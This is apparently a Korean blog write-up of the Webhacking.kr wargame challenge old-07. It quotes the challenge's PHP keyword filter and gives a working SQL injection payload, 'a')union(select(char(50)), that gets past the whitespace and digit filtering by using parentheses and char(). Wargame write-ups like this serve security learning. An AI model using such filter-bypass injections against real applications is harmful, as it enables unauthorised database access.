[Webhacking.kr] old-07

Alexandria·2024년 2월 29일

Wargame Webhacking.kr

목록 보기
7/69
post-thumbnail

1. Description

2. Write-Up

view-source를 누르면 쿼리의 결과가 2가 나와야 점수를 획득할 것으로 보이고, 2라는 값은 preg_match로 필터링된다.

... 생략 ...
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
... 생략 ...
elseif($data[0]==2){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
  solve(7);
}
... 생략 ...

char함수를 이용하여 val에 char(50)넣으면 query error구문으로 간다. 즉, lv컬럼의 2라는 값은 존재하지 않는다.

공백(\s) 필터링을 우회하면서 union과 select로 조합하여 'a')union(select(char(50))을 val에 넣어보면, 4/5 확률로 nice try가 출력된다.

괄호가 맞지 않아서 생기는 쿼리 에러이기 때문이다. 따라서, rand가 1이 될때까지 반복하자.

점수를 획득할 수 있다.

rand가 2이상이면 괄호 수가 맞더라도 쿼리 에러가 난다. lv='a'와 union이 되어야하는데, lv=(('a')union)가 되버리기 때문이다.

profile
IT 도서관

0개의 댓글